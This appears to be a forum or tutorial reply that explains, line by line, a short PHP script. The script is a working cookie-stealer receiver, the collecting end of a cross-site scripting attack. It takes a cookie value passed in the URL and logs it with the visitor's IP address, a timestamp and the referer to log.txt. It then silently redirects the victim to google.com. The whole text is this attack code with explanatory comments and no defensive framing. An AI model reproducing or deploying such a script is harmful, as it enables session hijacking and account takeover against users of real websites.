Sure below I have broken down the file by adding comments ("/* ... */" and "//") to it.
<?php
/*
Create a variable called "cookie" and place the value of a item called "cookie"
that was sent via "GET" to the page. something like this:
http://site.com?cookie=mycookie
So that would mean "$cookie is equal to "mycookie"
*/
$cookie = $_GET['cookie'];
// It the users IP address and put it in another variable called "$ip".
$ip = getenv ('REMOTE_ADDR');
//place the current date in a variable called "$date".
$date=date("m/d/Y g:i:s a");
//Place the refer information (previous page etc...) in a variable
$referer=getenv ('HTTP_REFERER');
//create a file Handle so that we can work with a file
$fl = fopen('log.txt', 'a');
//Write the data to the file
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
//Close the file handle
fclose($fl);
//redirect to google.com
header("Location: http://google.com");
?>I recommend you read the my lessons on working with files if you want to know more about how that works. (left side of the page)
